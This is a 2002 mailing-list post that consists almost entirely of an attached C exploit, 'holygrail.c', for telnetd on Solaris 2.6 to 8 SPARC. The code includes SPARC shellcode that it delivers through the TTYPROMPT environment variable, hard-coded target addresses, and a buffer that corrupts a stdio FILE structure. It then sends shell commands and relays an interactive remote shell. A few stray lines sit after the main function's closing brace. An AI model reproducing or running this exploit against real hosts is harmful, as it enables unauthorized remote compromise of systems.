Solaris 2.6-8 SPARC Telnetd Vulnerability
Date: Wed, 21 Aug 2002 03:02:07 -0700
From: "Brendan C. Johnson" <[email protected]>
To: [email protected]
Subject: Solaris 2.6-8 SPARC Telnetd Vulnerability
--------------050802000102030102050304
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Affected Systems: Solaris 2.6, 2.7, 8 SPARC Platform
Remote & Local Exploit
--------------050802000102030102050304
Content-Type: text/plain;
name="holygrail.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="holygrail.c"
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/telnet.h>
#ifdef SOLARIS
typedef unsigned long u_int32_t;
#endif
#define BUFLEN 1024
char shellcode[]=
"\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xdc\xda\xe0\x3b\xbf\xf0"
"\x90\x23\xa0\x10\x94\x23\x80\x0e\xd0\x23\xbf\xe0\xd4\x23\xbf\xe4"
"\x92\x23\xa0\x20\x82\x12\xa0\x3b\x91\xd0\x20\x08";
struct {
char *name;
unsigned long in_addr;
unsigned long out_addr;
} targets[] = {
{ "Solaris 8/SPARC local proof of concept", 0xff1bd538, 0xff1b7028 },
{ "Solaris 2.7/SPARC local proof of concept", 0xff1bb23c, 0xff1b4a44 },
{ "Solaris 2.6/SPARC local proof of concept", 0xff6a91f0, 0xef6a323c },
{ "Solaris 2.5.1/SPARC local proof of concept", 0xff61bfe8, 0xef615144 },
{ "Solaris 2.7/SPARC remote darkside shit", 0xff1bb150, 0xff1b4c90 },
{ "Solaris 2.7/SPARC remote darkside shit II", 0xff1b4cc0, 0xff1b4c90 },
{ "Solaris 2.7/SPARC remote darkside shit III", 0xff1b5950, 0xff1b5920 },
{ "Solaris 8/SPARC remote darkside shit", 0xff1bd44c, 0xff1b7247 },
{ "Solaris 8/SPARC remote darkside shit II", 0xff1b9480, 0xff1b9450 },
{ NULL, 0 }
};
void usage(char *p)
{
int i;
fprintf(stderr, "usage: %s [-t type] [-p port] [-o offset] <host>\n", p);
fprintf(stderr, "-t: target type (see below)\n");
fprintf(stderr, "-p: port to use (default: 23)\n");
fprintf(stderr, "-o: offset to use (default: 0)\n\n");
fprintf(stderr, "Target Types:\n");
for(i = 0; targets[i].name; i++)
fprintf(stderr, "%d) %s %.8x %.8x\n", i, targets[i].name, targets[i].in_addr, targets[i].out_addr);
fprintf(stderr, "\n");
exit(0);
}
void die(char *msg)
{
perror(msg);
exit(errno);
}
u_int32_t get_ip(char *host)
{
struct hostent *hp;
if(!(hp = gethostbyname(host))){
fprintf(stderr, "cannot resolve %s\n", host);
return(0);
}
return(*(u_int32_t *)hp->h_addr_list[0]);
}
int get_socket(char *target, int port)
{
int sock;
u_int32_t ip;
struct sockaddr_in sin;
if(!(ip = get_ip(target)))
return(0);
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = ip;
if(!(sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
die("socket");
if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
die("connect");
return(sock);
}
void send_wont(int sock, int option)
{
char buf[3], *ptr=buf;
*ptr++ = IAC;
*ptr++ = WONT;
*ptr++ = (unsigned char)option;
if(write(sock, buf, 3) < 0)
die("write");
return;
}
void send_will(int sock, int option)
{
char buf[3], *ptr=buf;
*ptr++ = IAC;
*ptr++ = WILL;
*ptr++ = (unsigned char)option;
if(write(sock, buf, 3) < 0)
die("write");
return;
}
void send_do(int sock, int option)
{
char buf[3], *ptr=buf;
*ptr++ = IAC;
*ptr++ = DO;
*ptr++ = (unsigned char)option;
if(write(sock, buf, 3) < 0)
die("write");
return;
}
void send_env(int sock, char *name, char *value)
{
char buf[BUFLEN], *ptr = buf;
*ptr++ = IAC;
*ptr++ = SB;
*ptr++ = TELOPT_NEW_ENVIRON;
*ptr++ = TELQUAL_IS;
*ptr++ = NEW_ENV_VAR;
strncpy(ptr, name, BUFLEN-20);
ptr += strlen(ptr);
*ptr++ = NEW_ENV_VALUE;
strncpy(ptr, value, (&buf[BUFLEN-1] - ptr)-1);
ptr += strlen(ptr);
*ptr++ = IAC;
*ptr++ = SE;
if(write(sock, buf, (ptr - buf)) < 0)
die("write");
return;
}
void do_negotiate(int sock)
{
send_wont(sock, TELOPT_TTYPE);
send_wont(sock, TELOPT_NAWS);
send_wont(sock, TELOPT_LFLOW);
send_wont(sock, TELOPT_LINEMODE);
send_wont(sock, TELOPT_XDISPLOC);
send_will(sock, TELOPT_LFLOW);
send_will(sock, TELOPT_LINEMODE);
send_wont(sock, TELOPT_OLD_ENVIRON);
send_will(sock, TELOPT_NEW_ENVIRON);
send_will(sock, TELOPT_BINARY);
send_env(sock, "TTYPROMPT", shellcode);
return;
}
void write_attack_buf(int sock, int type)
{
char *attack_buf, *outbuf;
int i, j;
#ifdef SOLARIS
char tmpbuf[64];
#endif
if(!(attack_buf = (char *)calloc(BUFLEN*3, 1)))
die("malloc");
if(!(outbuf = (char *)calloc(BUFLEN*6, 1))){
free(attack_buf);
die("malloc");
}
if(write(sock, attack_buf, strlen(attack_buf)) < 0)
die("write");
memset(attack_buf+100, '\t', 80);
/* --- stdio FILE structure, top of _iob -- */
#ifdef SOLARIS
*(long *)&tmpbuf[0] = htonl((unsigned long)0x00000000);
*(long *)&tmpbuf[4] = htonl((unsigned long)targets[type].in_addr);
*(long *)&tmpbuf[8] = htonl((unsigned long)targets[type].in_addr);
*(long *)&tmpbuf[12] = htonl((unsigned long)0x05000000);
*(long *)&tmpbuf[16] = htonl((unsigned long)0x00000001);
*(long *)&tmpbuf[20] = htonl((unsigned long)targets[type].out_addr);
*(long *)&tmpbuf[24] = htonl((unsigned long)targets[type].out_addr);
*(long *)&tmpbuf[28] = htonl((unsigned long)0x4201000a);
memcpy(&attack_buf[2055], tmpbuf, 32);
#else
*(long *)&attack_buf[2055] = htonl((unsigned long)0x00000000);
*(long *)&attack_buf[2059] = htonl((unsigned long)targets[type].in_addr);
*(long *)&attack_buf[2063] = htonl((unsigned long)targets[type].in_addr);
*(long *)&attack_buf[2067] = htonl((unsigned long)0x05000000);
*(long *)&attack_buf[2071] = htonl((unsigned long)0x00000001);
*(long *)&attack_buf[2075] = htonl((unsigned long)targets[type].out_addr);
*(long *)&attack_buf[2079] = htonl((unsigned long)targets[type].out_addr);
*(long *)&attack_buf[2083] = htonl((unsigned long)0x4201000a);
#endif
/* -- IAC stuffing, so telnetd doesn't decide to negotiate -- */
for(i = 0, j = 0; i < 3000; i++){
outbuf[j++] = attack_buf[i];
if(attack_buf[i] == '\xff')
outbuf[j++] = '\xff';
if(attack_buf[i] == '\n')
break;
}
if(write(sock, outbuf, j) < 0)
die("write");
/* -- 2 reads for reading the garbage which screws up term -- */
if((j = read(sock, attack_buf, BUFLEN)) < 0)
die("read");
if((j = read(sock, attack_buf, BUFLEN)) < 0)
die("read");
free(attack_buf);
free(outbuf);
return;
}
int main(int argc, char **argv)
{
int c, n, sockfd, type = 0, offset=0, port = 23;
char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n";
fd_set rset;
while((c = getopt(argc, argv, "t:o:p:")) != EOF){
switch(c){
case 't':
type = atoi(optarg);
if(type < 0 || type > sizeof(targets)){
fprintf(stderr, "invalid target type\n");
usage(argv[0]);
}
case 'o':
offset = atoi(optarg);
break;
case 'p':
port = atoi(optarg);
break;
}
}
if(!argv[optind] || !*argv[optind])
usage(argv[0]);
if(!(sockfd = get_socket(argv[optind], port)))
exit(-1);
do_negotiate(sockfd);
n = read(sockfd, buf, sizeof(buf));
write_attack_buf(sockfd, type);
send_wont(sockfd, TELOPT_BINARY);
sleep(1);
read(sockfd, buf, sizeof(buf));
write(sockfd, shellstr, strlen(shellstr));
FD_ZERO(&rset);
for(;;){
FD_SET(0, &rset);
FD_SET(sockfd, &rset);
if(select(sockfd+1, &rset, NULL, NULL, NULL) < 0)
die("select");
if(FD_ISSET(sockfd, &rset)){
bzero(buf, sizeof(buf));
if((n = read(sockfd, buf, sizeof(buf))) < 0)
die("read");
if(n == 0){
printf("EOF\n");
exit(0);
}
write(1, buf, n);
}
if(FD_ISSET(0, &rset)){
bzero(buf, sizeof(buf));
if((n = read(0, buf, sizeof(buf))) < 0)
die("read");
if(n == 0)
exit(0);
write(sockfd, buf, n);
}
}
}
n = read(sockfd, buf, sizeof(buf));
if (strstr(buf, "login:") == NULL) {
printf("FAILED :(\n");
exit(-1);
}
--------------050802000102030102050304--